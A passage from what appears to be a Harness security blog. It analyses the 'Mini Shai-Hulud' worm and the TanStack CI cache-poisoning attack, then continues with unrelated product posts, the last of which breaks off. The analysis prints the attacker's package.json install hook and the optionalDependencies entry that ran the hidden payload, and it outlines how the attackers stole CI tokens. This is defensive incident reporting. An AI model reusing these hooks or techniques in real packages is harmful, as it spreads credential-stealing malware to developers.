The malware propagated through stolen maintainer tokens, GitHub sessions, CI secrets, publishing credentials and developer machines. So once enough maintainers and CI pipelines were infected, the worm jumped laterally across ecosystems. This compromised package managers like npm and PyPI with RubyGems also facing a similar attack chain, making the campaign a distributed ecosystem-wide compromise rather than a single-point attack, leading to no single “ground zero” for Mini Shai-Hulud.

The decentralized and self-propagating nature of the attack also made containment significantly harder as the malware continuously resurfaced through multiple compromised maintainers, registries and CI/CD entry points even weeks after the initial wave, with new exploitation chains still being identified as late as 19^th May, 2026. One of the most impactful compromises of the wave, however, emerged through the TanStack attack chain on 11^th May, 2026.

Timeline

September 2025 - The original Shai-Hulud worm hits npm, compromising 200+ packages. The first time a supply chain attack runs fully automatically, no human is needed after the initial launch.

December 2025 - An updated version (Shai-Hulud 2.0) appears. Faster, broader and starts hitting maintainers from well-known projects like Zapier and Postman.

March 31, 2026 - The axios package gets compromised. One of the most downloaded npm packages in existence. Attackers hijack a maintainer account and sneak in a hidden dependency that runs a malicious script on install. CISA issues an official advisory.

April 29, 2026 - Mini Shai-Hulud emerges, this time targeting SAP's developer ecosystem. Four core SAP packages are poisoned for a few hours. Over 1,000 developers unknowingly hand over their credentials before the packages are pulled.

May 11-12, 2026 - The big one. 172 packages were compromised in 48 hours across npm and PyPI simultaneously. TanStack, Mistral AI, UiPath, OpenSearch are all hit. For the first time, the malicious packages pass provenance verification, meaning even teams doing everything right got affected.

May 12, 2026 - On the same day, RubyGems gets flooded with 500+ malicious packages via bot accounts. New registrations suspended. Everything yanked within 24 hours, but the message is clear: No registry is safe.

May 19, 2026 - The campaign resurfaces again compromising 300+ additional npm packages, including the AntV ecosystem and packages from OpenClaw-CN. The newer variants expanded persistence, stealth and propagation capabilities through GitHub-based fallback C2.

Deepdive Into TanStack Exploit

Instead of directly uploading malware to npm using stolen maintainer credentials, the attackers reportedly abused the dangerous pull_request_target trigger. GitHub cache served as the medium for malware delivery. The compromise here occurred at the CI/CD infrastructure layer rather than through a visible malicious commit. Let’s understand the exploit step-by-step.

Preparing Payload

The attack began from a malicious fork named voicproducoes/router (now deleted), where the attacker pushed an orphaned commit 79ac49eedf774dd4b0cfa308722bc463cfe5885c into the forked tanstack/router repository. The commit itself introduced only two files:

tanstack_runner.js - containing massive obfuscated payload of roughly 2.3 MB
package.json - to invoke the payload by defining a package named @tanstack/setup

{
  "name": "@tanstack/setup",
  "version": "1.0.0",
  "scripts": {
    "prepare": "bun run tanstack_runner.js  && exit 1"
  },
  "dependencies": {
    "bun": "^1.3.13"
  }
}

As we can see, the prepare lifecycle hook runs the payload using bun, thus implying that whenever the package @tanstack/setup would be installed, the payload would automatically be executed.

Gaining Trusted Publishing Access

Now, the attacker opened a malicious pull request #7378 to tanstack/router from another forked repository named zblgg/configuration, triggering the CI workflows of the base repository. The vulnerable workflow among them was bundle-size.yml, which used the dangerous pull_request_target trigger, causing it to run with access to the base repository’s permissions, caches and GitHub Actions identity. The malicious PR contained a seemingly innocent file addition named packages/history/vite_setup.mjs, which maliciously modified the pnpm dependency store inside the GitHub Actions runner during workflow execution.

Upon workflow completion, actions/cache automatically uploaded the poisoned pnpm store to the shared repository cache. To ensure this malicious entry remained the the newest valid cache entry, the attacker repeatedly pushed updates to the PR branch. Finally, the attacker force-pushed the PR branch back to match the main branch HEAD, leaving no visible changes in the PR to hide traces.

Releasing Malicious Packages

Since GitHub Actions caches are shared across workflows, poisoned artifacts created during the attacker-controlled workflow execution were later restored inside TanStack’s legitimate release workflow defined by release.yml. The attacker’s payload gained execution and extracted GitHub Actions OIDC authentication tokens directly from the runner’s process memory using /proc/<pid>/mem access techniques.

The payload from the poisoned cache then formed the malicious packages by doing the following 2 things:

Placing payload-containing router_init.js file at the package root
Introducing an optionalDependencies entry in package.json pointing to the malicious GitHub commit we prepared earlier

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Finally, the trusted yet compromised workflow itself requested valid short-lived npm publishing tokens and published malicious releases directly through the official TanStack CI/CD pipeline, thus carrying valid provenance attestations.

Self-Propagation Through Mini Shai-Hulud Payload

Design of the malicious package ensured that every installation of the affected TanStack package silently fetched the orphaned commit and executed tanstack_runner.js during installation on developer machines and CI runners. This combined with the obfuscated payload in router_init.js containing sophisticated multi-stage credential stealer with persistence, exfiltration and self-destruction capabilities. This led to harvesting credentials from developer machines, GitHub Actions runners’ memory and enterprise CI/CD environments by scanning environment variables, configuration files and cloud credentials among other things.

It also attempted persistence through IDE hooks, VS Code extensions, Claude Code integrations and background services while exfiltrating stolen secrets through Session Protocol CDN or GitHub GraphQL APIs. Finally, upon discovering tokens with package publishing access, the code automatically published additional compromised packages containing the same router_init.js payload and optionalDependencies chain, enabling Mini Shai-Hulud to self-propagate across npm, PyPI and other software ecosystems. Together, this formed the Mini Shai-Hulud worm.

‍

Attacker creates malicious fork (zblgg/configuration)
                    ↓
PR #7378 opened using pull_request_target workflow
                    ↓
Workflow checks out attacker-controlled PR code
                    ↓
Malicious code modifies pnpm dependency store
                    ↓
actions/cache saves poisoned cache to repository cache
                    ↓
Legitimate maintainer later merges normal PR to main
                    ↓
Trusted release workflow restores poisoned pnpm cache
                    ↓
Attacker-injected binaries execute inside official CI runner
                    ↓
Malicious package with router_init.js and optionalDependencies published
                    ↓
Package installed and npm install is run
                    ↓
prepare hook executes for tanstack/setup
                    ↓
tanstack_runner.js executes from orphaned commit
                    ↓
router_init.js is unpacked and triggered
                    ↓
Environment fingerprinting + token discovery
                    ↓
Credential harvesting + exfiltration
                    ↓
More malicious packages released with Mini Shai-Hulud Payload

‍

RubyGem Variant: Three Registries In One Week

The TanStack attack wasn't alone. On the same day, RubyGems was hit by a separate campaign with 120+ malicious packages uploading SSH keys, API tokens and credentials on install. The incident demonstrated that Mini Shai-Hulud was no longer an npm-only threat but an ecosystem-level supply-chain worm capable of moving laterally across package registries and CI/CD trust boundaries.

RubyGems temporarily suspended new account registrations after hundreds of malicious gems were uploaded through automated bot accounts in a coordinated supply-chain attack. Researchers observed that many of the malicious gems contained credential-stealing functionality targeting developer machines, CI/CD pipelines and cloud environments similar to the npm or PyPI campaigns. Unlike the TanStack compromise where attackers weaponized trusted publishing infrastructure, the RubyGems wave appeared more focused on large-scale registry flooding and ecosystem poisoning using automated account creation and stolen credentials.

The npm and PyPI attack was precise with a worm spreading quietly through stolen tokens, targeting specific maintainers with valid provenance to avoid detection. The RubyGems attack was blunt with mass account creation, bulk uploads, live exploits and stolen credentials routed to ransomware groups within hours. However, both incidents followed the common principle of compromising developer infrastructure, stealing secrets and expanding propagation into additional software ecosystems. Two different attack methods, same motive.

Compromised Packages

Package Registry	Organization	Notable Packages	Few Compromised Versions
npm	tanstack	router-core, react-router, react-start, router-plugin, history	router-core - 1.169.5, 1.169.8 react-start - 1.167.68, 1.167.71 router-plugin - 1.167.38, 1.167.41 history - 1.161.9, 1.161.12
	starmind	collector-cli	collector-cli - 0.3.10
	openclaw-cn	feishu, cli, toutiao-ops, libsignal	feishu - 0.2.11 cli - 1.4.1 toutiao-ops - 1.2.4 libsignal - 2.1.1
	antv	g-image-exporter, x6, x6-geometry, gi-assets-advance, graphlib, g2, g2plot, infographic, vendor	g-image-exporter - 1.2.42 x6-geometry - 2.2.5
	opensearch-project	opensearch	3.6.2
	mistralai	mistralai, mistralai-gcp	mistralai - 2.2.3, 2.2.4 mistralai-gcp - 1.7.1, 1.7.2, 1.7.3
	uipath	agent.sdk, filesystem, admin-tool, llmgw-tool, orchestrator-sdk	agent.sdk - 0.0.18 filesystem - 1.0.1 llmgw-tool - 1.0.1
	squawk	airways, airport-data	airways - 0.4.2, 0.4.3, 0.4.5 airport-data - 0.7.4, 0.7.5, 0.7.7
	SAP	cap-js/cds-dbs, mbt, cds	Undisclosed
	axios	axios	1.14.1, 0.30.4
PyPI	guardrails-ai	guardrails-ai	0.10.1
PyPI	mistralai	mistralai	2.4.6
RubyGems	BufferZoneCorp	knot-activesupport-logger	Undisclosed

‍

Remediations

Mini Shai-Hulud proves that perimeter defenses fail when attackers exploit trusted pipelines and developer tools. To mitigate such ecosystem compromises, organizations must integrate secure coding, hardened releases and continuous software monitoring. The following mitigation steps should be followed:

Enforce strict GitHub Actions hardening by avoiding dangerous workflows such as pull_request_target. The same was done by TanStack in the commit here post attack.
Disable unnecessary npm lifecycle scripts like preinstall, postinstall and prepare in CI
Rotate and scope credentials aggressively including npm, PyPI cloud and CI/CD tokens
Continuously monitor dependencies and provenance attestations for anomalous package updates
Use Software Composition Analysis platforms such as Harness Supply Chain Security (SCS) to continuously inventory dependencies, enforce policy gates, detect malicious packages and block compromised artifacts before they enter build and release pipelines

According to Harness’s analysis of the npm attacks, organizations should treat CI/CD pipelines as critical security infrastructure, combining SBOM visibility, policy enforcement, provenance validation and automated dependency risk analysis to prevent trusted publishing systems from becoming malware distribution channels. Read more about it here.

How Harness Supply Chain Security Helps

Harness SCS helps you quickly detect and contain compromised dependencies like the TanStack package before they impact your pipelines. With real-time visibility into your SBOMs and dependency graph, you can identify affected versions, trace their usage across builds and environments and block them using OPA policies. This ensures malicious packages never propagate through your CI/CD or AI workflows.

Detect Compromised Packages

Harness SCS enables instant search across all repositories and artifacts to quickly identify if compromised package versions exist in your environment. The moment such a malicious package is disclosed, you can pinpoint its presence and assess impact across your entire supply chain in seconds.

Block Compromised Packages

Harness AI streamlines response to incidents like the TanStack compromise through simple natural-language prompts. With a single prompt, you can generate OPA policies to block affected versions of TanStack, for example, across all pipelines, preventing malicious packages from entering builds or deployments. As new compromised versions emerge, these policies can be quickly updated to maintain strong preventive controls across your SDLC. SCS customers can use this OPA policy to detect and block the affected versions

Track & Remediate Issues with Developers

Harness SCS automatically detects compromised versions across both production and non-production environments. Teams can track remediation, assign fixes and monitor progress through to deployment, ensuring exposed credentials and vulnerable dependencies are addressed quickly. This end-to-end visibility helps contain the impact and prevents compromised packages from persisting in your supply chain.

Next Steps In The Face Of Supply Chain Attacks

The Mini Shai-Hulud worm highlights how quickly a malicious package can expose high-value secrets when embedded deep within registries and CI runners. Given its role in managing dependencies and packages across projects, the impact extends beyond code to API keys, prompt data and downstream systems, often bypassing traditional security checks.

Defending against such attacks requires more than reactive fixes. Teams need real-time visibility into dependencies, the ability to enforce policies to block compromised versions and continuous tracking to ensure remediation is complete across all environments. Harness SCS enables teams to quickly identify where affected package versions are used, prevent them from entering new builds and ensure fixes are consistently rolled out.

With these controls in place, organizations can limit credential exposure, contain threats early and secure their supply chain against attacks like the TanStack compromise.

Technical

API Security Testing Just Got Easier & Smarter

Harness API Testing enhancements simplify setup with improved validations and workflows. Validate API reachability upfront to ensure smarter execution and reduce wasted resources.

Michael Isbitski

Md Zaid Imam

May 4, 2026

Time to read

Application security & engineering teams are under pressure to move faster, cover more, and reduce the operational drag that often comes with security testing. But in practice, two problems keep slowing teams down and adding friction.

Scan setup is often more complicated than it needs to be. Teams lose time navigating fragmented configuration flows, interpreting unclear fields, and correcting setup mistakes that only surface later. Even when teams know precisely what they want to test, configuring a scan correctly becomes a project of its own.
Test generation is only valuable when the targets behind it are actually reachable and executable. When APIs are unreachable, improperly mapped, or blocked due to missing authentication, teams end up generating tests that consume runner resources and waste time without producing meaningful results. That creates noise, extends scan times, and makes it harder to focus on other actionable results.

Harness API Testing Enhancements at a Glance

Today, we’re introducing several important enhancements to Harness API Testing that are designed to solve these exact issues and make API scans easier to configure, more reliable, and more efficient.

Improved Configuration Experience

The new scan configuration experience is built to reduce friction from the moment a user clicks “Create Scan.” It simplifies the setup flow, improves validation, and provides users with more guidance directly in context, rather than forcing them to guess or leave the page for help.

The highlights include:

A simpler, more structured configuration flow - to reduce the cognitive load of stepping through an extensive setup process, the scan creation experience has been consolidated into three clearer sections to help you focus on what matters.
Field-level guidance everywhere it matters - every configuration field now includes tooltips and helper text, with step-level documentation available alongside the workflow. You get immediate explanations of what each field does and how to configure it correctly.
Stronger validation early - the new experience focuses on automatic validation to avoid invalid names, incorrect selections, and incomplete inputs before finalizing creation of a scan, which translates to fewer failed setups and less trial-and-error.
Inline creation for dependent entities - you can now create items such as policies, authentication methods, and runners directly within the scan flow via inline panels, without navigating away in the interface and breaking momentum.

Added API Endpoint Validation

The new reachability validations in XAST Replay and DAST help you confirm whether APIs are actually reachable and properly authenticated, so scan execution stays focused on targets that can produce real results.

The highlights include:

Dedicated Reachability Test view in scan configuration - each scan now includes a Reachability Test tab that provides a rundown of API endpoint-level readiness before test generation proceeds.
Detailed endpoint visibility - you can see the full list of API endpoints, service mappings, reachability status, response codes, and response descriptions in one place.
Downloadable CSV for analysis and troubleshooting - results can be exported for offline review, making it easier for you to share findings, investigate failures, and track patterns across environments.
Smarter test generation control - helps reduce irrelevant noise by preventing test cases from being generated for APIs that are unreachable or fail authentication.

Why Teams Struggle with API Security Testing

These launches address two persistent sources of friction in API security testing: configuration complexity and execution inefficiency. Both slow teams down, create avoidable rework, and make it harder to get to meaningful security outcomes.

1. Scan setup has been too easy to get wrong

The problem is not just that the setup takes time. It is that the experience in tooling has often lacked enough structure, validation, and in-context explanation.

When configuration is too complex, users are far more likely to:

Enter incomplete or incorrect settings
Hesitate because they are unsure what a field requires
Depend on internal experts or professional services to get a scan configured properly
Spend more time troubleshooting than actually testing APIs

Security teams have long been dealing with incorrect or incomplete configurations, unclear field usage, and longer times to initially create a successful scan.

2. Weak validation delays necessary feedback

Without strong validation at the point of initial setup, users can move forward thinking a scan is correctly configured, only to discover later that something was malformed, missing, or misunderstood.

That creates a chain reaction:

Errors are caught after setup instead of during setup
Users have to backtrack and redo work
Confidence in the scan creation process drops
Time-to-value gets stretched unnecessarily

Without validations, helper text, tooltips, and field-specific guidance, it’s easy to make mistakes when entering wrong inputs and making selections.

3. Fragmented workflows break momentum

Context switching creates another major issue. If users need to leave the scan flow to create a policy, configure authentication, or add a runner, the API test setup experience becomes fragmented.

That fragmentation leads to:

Slower scan creation
More abandoned or half-finished workflows
Higher odds of misconfiguration
Less intuitive user experience

Teams often waste time bouncing between multiple pages and increase the likelihood of mistakes without inline workflows.

4. Test generation doesn’t equate to execution readiness

On the execution end of the equation, teams may encounter cases where tests are generated even when the target APIs are unreachable or not properly authenticated.

That leads to several downstream problems:

Unnecessary test generation
Wasted runner resources
More noise in scan output
Longer scan times

When API endpoint targets aren’t validated upfront, the result is unnecessary test generation and low-quality output.

5. High activity does not always mean high value

Large numbers of generated tests can look impressive on release dashboards, but if those tests are tied to unreachable APIs, they fail to create real security value.

Teams are left with:

Inflated scan activity metrics
Less trust in reported results
Wasted time separating signal from noise
Reduced confidence around coverage

Improper scan configurations that produce high volumes of poor results yield inaccurate metrics that are critical to application security programs. This reality can create a false sense of confidence in security posture.

A Closer Look at What’s New in Harness API Testing

These enhancements improve two critical parts of the API testing experience: how scans are configured and how test execution readiness is validated.

Scan Configuration Revamp & Validation Enhancement

Rather than spreading configuration across a larger set of steps, the new flow reduces the experience to three main sections that are:

General - define the basics, such as scan name, environment, frequency, and incremental scan behavior.

Source & Attacks - select traffic and policy.

Advanced Settings - configure optional items such as authentication, runners, traffic filters, URL regex, evaluation criteria, timeout behavior, and integrations.

That reorganization does more than simplify the UI. It separates required setup from optional tuning, helping you complete scan creation with more confidence and less guesswork.

With these enhancements, you can now more easily:

Understand fields in context through tooltips, helper text, and side-panel documentation available during setup.
Create policies inline without leaving the scan configuration flow.
Configure authentication inline, including form-based and AI-based authentication options, then immediately select them for use.
Create or select runners from the same page instead of navigating out to separate workflows.

This enhancement is especially important for teams that want to move quickly without sacrificing correctness. Keeping these dependent tasks in a single flow reduces interruptions and lowers the risk of setup errors.

The advanced settings experience also adds more clarity around complex configuration options, where you can now work with:

Traffic filter conditions
URL regex settings
Scan evaluation criteria with dynamic explanatory text
Idle timeout and scan timeout execution controls
Integrations

These details matter because they turn a complex setup from opaque to guided and actionable. You can find more technical documentation here.

For every running or completed scan, you will now see a Validation Summary tab that highlights critical details and the overall health of the configured API testing. Information here includes:

Total number of reachable and unreachable APIs
Number of tests failed due to auth issues
Domain reachability
Resource utilization during the scan window

Reachability Test for XAST Replay and DAST

The Reachability Test enhancement brings that same philosophy to execution: validate earlier, execute smarter. Before generating tests, the Harness platform now provides clearer visibility into whether APIs are actually ready to be tested.

The new Reachability Test tab gives you a dedicated place to inspect endpoint readiness before test generation begins. It surfaces:

the full list of API endpoints
service mapping details
reachability status
response codes
response descriptions

This enhancement turns what was previously harder to diagnose into something visible and actionable.

The Harness platform now uses reachability and authentication readiness as part of test generation control.

That means that no test cases are generated when:

API endpoints are unreachable
authentication is missing
authentication fails

The reachability tests help ensure execution resources are spent on APIs that can actually produce meaningful results. For security teams, this creates a more efficient and trustworthy scan lifecycle with:

less wasted runner consumption
fewer irrelevant or misleading test artifacts
cleaner signal in scan results
better alignment between reported coverage and executable coverage

You can read more technical details here.

Taken together, these enhancements make API security testing more usable at the front end and more efficient at the back end. Teams can configure scans faster, with fewer errors and less dependency on expert intervention, while also improving the quality of what gets executed once a scan runs.

Get Started Today

These Harness API Testing features are available immediately with your existing Harness subscription. There is no additional cost or setup required.

Current Customers: Log in to your dashboard today to test the security of your APIs seamlessly and more effectively.
New to the Platform? If you aren't yet validating your API security, contact us to schedule a personalized demo of Harness API Testing in action.

Request a demo

Technical

Shift Left, Protect Right: How Harness + Wiz Close the AppSec Gap

Unify code and runtime security with Harness and Wiz. Correlate findings, prioritize real risks, and fix vulnerabilities faster across the SDLC.

Renny Shen

April 28, 2026

Time to read

Modern application security goes from code to runtime. Vulnerabilities are found at every stage of the software development lifecycle (SDLC) - in the code developers write, open source packages they pull in, container images they build, and cloud infrastructure where it all runs. But finding vulnerabilities is no longer enough. With attack surfaces sprawling across pipelines, registries, and production environments, the harder problem is fixing the vulnerabilities that actually matter.

Understanding what’s important increasingly depends on correlating multiple data points. A critical CVE buried in a dependency looks very different depending on whether the vulnerable function is actually reachable, the library is used in production, or the affected service is internet-facing. Without runtime context, security and development teams are often left triaging noise instead of actually reducing risk. And fixing vulnerabilities discovered in production can be challenging without being able to follow the trail back to the repo and line of code where the vulnerability can be found.

No matter where application security lives in your organization - and increasingly, it lives in more than one place - Harness and Wiz are working together to make sure you're covered. Whether your team is shifting left from cloud security or pushing right from the development pipeline, integrating Harness and Wiz brings code and runtime findings together so you always have the context you need to act.

Shift Left, Protect Right. Who Owns Application Security?

Application security used to have a clear owner. The AppSec team ran the scanners, triaged findings, and created tickets for developers. But "shift left" has been pushing security earlier into the development process and ownership has been migrating toward the teams that actually write and ship code. Today, the DevSecOps or platform engineering team owns application security tooling in many organizations. They're the ones who know exactly where a vulnerability lives in code, who owns it, and how to get developers to fix them.

But as applications move to the cloud, cloud security and infrastructure teams have a stake in application security outcomes as well. They're the ones with visibility into what's actually running in production - what's internet-facing, what's over-privileged, what's actively being exploited. Cloud security platforms have expanded their focus from purely infrastructure and runtime back through the SDLC to code. For many cloud teams, application security isn't a handoff; it feeds into their cloud risk picture.

The result is that application security now has multiple stakeholders with different vantage points. DevSecOps teams see risk through the lens of the CI/CD pipeline and the developer workflow. Cloud security teams see it through the lens of the deployed environment and the blast radius of a breach. Neither view is complete on its own. The good news is that these teams don't have to choose between their tools or their workflows. They need integration that lets each team work in their context while sharing the signals that make both more effective.

Integrating Wiz Code into CI/CD Pipelines with Harness STO

DevSecOps teams need to expand right. SAST and SCA tools often generate more findings than any team can fix. Runtime context helps separate signal from noise. Knowing that a vulnerable service is actively internet-facing or that a dependency with a critical CVE is actually loaded in production changes how a team prioritizes. Without it, developers are left triaging based on CVSS scores alone. With it, they can focus effort where exposure is real and the risk in production is highest.

Harness Security Testing Orchestration (STO) makes it easy to orchestrate Wiz Code across your CI/CD pipelines. With a pre-built integration, you can deploy Wiz Code in just a few clicks instead of needing to create a custom integration or write custom scripts. Harness orchestrates Wiz Code alongside all your other scanners so you know your pipelines always get the required security tests, without needing to manually coordinate multiple tools.

Once Wiz Code is integrated, STO aggregates findings with other scanners in your pipeline, automatically deduplicating vulnerabilities so teams aren't triaging the same issue twice. The consolidated view means developers and security engineers can see the full picture in one place, understanding pipeline-level risk and assigning tickets to developers. In addition, Harness Policy as Code lets teams define and take action at the pipeline level instead of tool by tool, so decisions about what to fail a build on, what to flag for review, and what to pass through are applied consistently and holistically across every scan and pipeline.

Feeding Harness SAST and SCA Findings Into Wiz

Cloud security is pushing left - past runtime, past containers, all the way back to the code and open source packages that vulnerabilities originate from. The driver is enabling action. A misconfigured cloud resource or a vulnerable container image is more actionable when you can tie it back to the specific dependency introduced in a pull request, the developer who owns the code, and the pipeline that shipped it. Runtime findings without code context are just alerts. With code context, they become actionable work items that can be routed to the right person and fixed at the source.

Wiz Application Security Posture Management (ASPM) is designed to aggregate findings from across the SDLC and correlate them with runtime context - what's deployed, what's exposed, and what's actually at risk. By integrating Harness SAST and SCA scanner findings directly into Wiz, cloud security teams can connect the dots between a vulnerable open source package or insecure code pattern and the running workloads it affects. That correlation is what turns a list of CVEs into a prioritized risk picture that reflects what's actually happening in production.

For cloud security teams already working in Wiz, this integration means Harness SAST and SCA become part of their existing workflow rather than a separate tool to check. Code-level findings surface alongside runtime signals in the same platform where cloud risk is already being managed, analyzed, and acted on. Teams get broader coverage without adding friction, and the context that makes those findings meaningful - reachability, exposure, business criticality - is already there when they need it.

AppSec Is a Team Sport. Your Tools Should Be Too.

DevSecOps and cloud security teams are not generally not competing - they're looking at risk from different angles. One team lives in the development pipeline; the other lives in the cloud. Both need visibility into what the other sees to do their jobs well. When those views are siloed, findings get duplicated, priorities diverge, and the vulnerabilities that matter most fall through the cracks between teams.

Harness and Wiz close that gap from both directions. DevSecOps teams get runtime signals from Wiz Code inside the pipeline context where they already work, so they can prioritize fixes based on real-world exposure. Cloud security teams get code-level findings from Harness SAST and SCA inside the risk context where they already work, so they can trace production risk back to its source. Each team keeps their workflow. Both teams get the full picture.

The right combination of these integrations depends on how your organization is structured, where application security ownership sits today, and where you want it to go. If you're a Wiz customer evaluating how Harness SAST and SCA fit into your security program, or a Harness customer looking to bring runtime context into your pipelines, contact your Harness account team to understand how you can map the integrations to your specific environment.

Technical

Eliminate Manual Authentication Configuration for Fast & Effective API Security Scanning

Generate API authentication configs instantly with AI. Eliminate setup friction, improve scan success, and accelerate dynamic application security testing.

Michael Isbitski

Md Zaid Imam

April 27, 2026

Time to read

Application security testing tools promise coverage and accuracy, but teams often struggle just to get started. One of the biggest friction points in dynamic application security testing is configuring authentication correctly so a scanner can even access a target application, let alone API endpoints that power the functionality.

Whether it’s API keys, bearer tokens, or custom auth flows, setting up authentication for scans frequently requires trial-and-error and engineering support. This reality of scanning configuration slows down security validations, delays insights, and makes it difficult to integrate with AI-driven tooling that depends on fast, accurate access to API endpoints.

Today, we’re excited to introduce AI-Powered Custom Authentication Generation—a new capability designed to eliminate this friction and help teams move from setup to security insights faster than ever.

What’s New: AI-Powered Authentication Generation

With this release, teams can now generate and refine authentication configurations using natural language and LLMs. Instead of manually configuring authentication logic or relying on additional support, users can simply describe their requirements and let AI handle the rest.

The average time to configure authentication for API security testing is measured in seconds, whereas older manual approaches can take hours and require extensive trial-and-error.

Here are a few highlights:

Use Natural Language to Create Auth Scripts: Generate fully functional authentication configurations by describing your needs in plain English.
Support for Common Auth Types: Easily create configurations for API keys, JWTs, Bearer tokens, and more.
Iterative Refinement with AI: Update and fine-tune authentication logic by prompting the system instead of time-consuming scripting or manual adjustments.
Inline Visibility and Change Tracking: Steps taken by AI to generate auth flows are audited, and testing runs are logged fully to maintain transparency and control.

Why is Authentication Setup Difficult Historically?

Authentication setup has long been one of the most frustrating parts of security scanning. Access control mechanisms are already complex due to security hardening used to protect applications and APIs. Successfully automating authentication flows so a machine can access an app or endpoint raises the bar substantially.

Some of the common pain paints include:

Manual configuration slows down work: Teams often need to consult different documentation, dashboards, and code to define authentication flows correctly. Even small mistakes can cause scans to fail silently or produce incomplete results.
Lack of standardization creates confusion: Each application or API may use slightly varied access control mechanisms and authentication material, including headers, tokens, cookies, and custom flows. Practitioners must rebuild the logic from scratch each time due to inconsistent implementation.
Iteration is painful and time-consuming: If something doesn’t work, fixing it usually requires manually editing scripts, rerunning scans, and debugging errors. Oftentimes, additional help from support or engineering teams is needed.
Limited visibility makes troubleshooting harder: When authentication fails, it’s not always clear why. Without clear feedback or context, teams spend valuable time diagnosing issues rather than improving their security posture.

What should be a simple prerequisite, gaining authenticated context into an application, becomes a major bottleneck to dynamic application security testing.

How AI-Powered Authentication Changes the Game

The new AI-powered authentication feature in Harness API Testing removes these barriers entirely by reworking how authentication config is created and managed.

Generate Authentication in Seconds

Users can navigate to the authentication configuration page, select the custom option, and simply describe what they need. For example:

“Generate an API key-based authentication hook where the token <token> is injected into the request header <authorization>.”

With a single click on “Generate with AI,” the system produces a complete, ready-to-use authentication script. This functionality eliminates the need to write or stitch together configurations manually.

Support for Multiple Authentication Types

The feature supports a range of common authentication mechanisms, including:

API key-based authentication
JWT-based authentication
Bearer token authentication

This flexibility ensures teams can quickly configure access regardless of how their application or API is secured. Learn more details about the supported authentication types.

Refine Without Rewriting

Authentication requirements often evolve. Instead of starting over, users can iteratively refine their configurations using natural language prompts.

For example, if you want to change how credentials are injected into the auth flow, you can simply say:

“Change the injection type to header name.”

By selecting “Refine with AI,” the system updates the existing configuration accordingly—no manual edits required.

Built-In Transparency

Every AI-generated or modified configuration includes inline comments that explain what changed. These comments make it easier for teams to:

Understand how authentication is implemented
Review updates confidently
Maintain control over their configurations

Additionally, no credentials are stored in logs or persisted in prompts. Any sensitive authentication material is masked and encrypted at rest.

Faster, More Reliable Scans

By reducing setup errors and simplifying authentication configuration, this Harness API Testing feature directly improves scan success rates. Teams can spend less time troubleshooting authentication issues and more time analyzing real security findings.

Unlocking Faster, Smarter Security Workflows

This release is more than just a usability improvement. It’s a foundational step towards enabling AI-driven security workflows.

By removing the friction of authentication setup, teams can:

Onboard new applications for testing faster
Integrate seamlessly with AI-powered testing and analysis tools
Reduce dependency on manual scripting and support interventions
Achieve more consistent and reliable scan coverage

Ultimately, this translates to a faster time-to-value and a more scalable approach to dynamic application security testing.

Get Started Today

AI-Powered Custom Authentication Generation is available immediately with your existing Harness subscription. You can find related technical documentation here.

Current Customers: Log in to your dashboard today to start exploring your threat data in a whole new dimension.

New to the Platform? If you aren't yet protected, contact us to schedule a personalized demo.

Request a demo

Technical

Unlocking Security Potential for AI: Introducing the Harness WAAP MCP Server

Harness WAAP MCP Server bridges security data and AI workflows using the Model Context Protocol (MCP). Get real-time insights via natural language prompts to power custom AI workflows and executive reporting.

Michael Isbitski

Vikas Gautam

April 10, 2026

Time to read

Security teams face overwhelming amounts of data and complex interfaces, making it hard to access critical insights. AI tools promise solutions, but integration remains difficult as time ticks away and leadership wants the latest data to inform risk decisions.

Most security platforms lack seamless integration, slowing access to important data and hindering AI-powered workflows.

Introducing the Harness Web Application & API Protection (WAAP) MCP Server, a new solution that bridges the gap between security data and AI workflows. The capability empowers teams to serve security data to AI tools for faster, more intuitive insights. Make your security data accessible through natural-language prompts and directly consumable by MCP-compatible AI tools like Claude, VS Code, Cursor, and more.

With the Harness WAAP MCP Server, you’re no longer confined to dashboards for deep security insights, and you can power AI workflows, custom analysis, and executive-ready reporting.

Key Highlights

AI-Native Security Access: Seamlessly connect Harness security data with LLM-powered assistants and copilots, enabling teams to access, analyze, and act on security insights without complex setup.
Standardized Interface via MCP: The Model Context Protocol ensures consistent, reliable access to security data, reducing integration friction and eliminating proprietary barriers.
Real-Time Threat Inspection: Instantly query live threat data, vulnerabilities, and API behavior, empowering teams to make faster decisions and reduce response times.
Controlled Data Access: Easily manage access controls and governance, ensuring teams can integrate new solutions without adding security or compliance risk.

Why Security Teams Struggle Today

Harness builds its UI/UX to maximize functionality and customizability, adopting API-centric design and providing thorough API documentation. Being API-enabled is critical for system integrations and agentic workflows, but it’s an area where other solutions struggle. Despite significant investment or self-engineering, teams struggle to effectively leverage data from other security tools.

Access is Unintuitive

Many traditional security platforms require users to navigate multiple dashboards, filters, and proprietary query builders. Even experienced users waste time finding the “right” data instead of acting on it. This friction is even more apparent when teams try to embed security into developer workflows or automation pipelines.

Lack of Integration Standards

Each platform uses its own data schemas, authentication models, and APIs, if any are even available. Integrating services or data into AI tools or other automated systems typically requires custom engineering, ongoing maintenance, and deep familiarity with the underlying system. It’s also a moving target, as vendors can change something and break integrations.

Security Data Isn’t AI-ready

Many security tools weren’t designed with LLMs or AI agents in mind. Data is frequently unstructured and inconsistently formatted. The data is also difficult to query, both conversationally and programmatically, which is fundamental for agentic workflows. This reality limits teams' ability to leverage AI to accelerate investigation, triage, and decision-making in security use cases such as vulnerability management and incident response.

Governance Is a Blocker

Even when teams want to publish security data safely, they must carefully manage permissions, ensure compliance, and prevent overexposure. This governance reality often leads to overly restrictive setups that negate the benefits of integration. The result is a disconnect: powerful security insights exist, but they’re too buried to find and act on.

Bring Security to AI Workflows with the Harness WAAP MCP Server

Security teams desire programmatic access to data via APIs for custom analysis and, increasingly, AI integration. The Harness WAAP MCP Server is designed to solve these challenges by providing a standardized, AI-friendly interface to your security data. The MCP server implements the Model Context Protocol, a de facto standard for enabling structured interactions between AI systems, data, and external tools. Instead of forcing you to engineer custom integrations, the MCP server empowers you to discover and interact with Harness security capabilities consistently and predictably.

Structured Access to Harness Data

The MCP server exposes key Harness security data, including threat detection, API inventory, vulnerability insights, and behavioral analytics. The data is served up with structured endpoints that AI tools can query directly. This design eliminates the need for manual navigation through dashboards or the need for custom API wrappers, saving time and enabling faster incident response. All of this happens through standardized MCP calls, making it easy to plug Harness security data into other AI ecosystems and workflows.

Need a custom report for security leadership based on the context you define, not what the user interface dictates? The Harness WAAP MCP Server makes it possible with a simple prompt like:

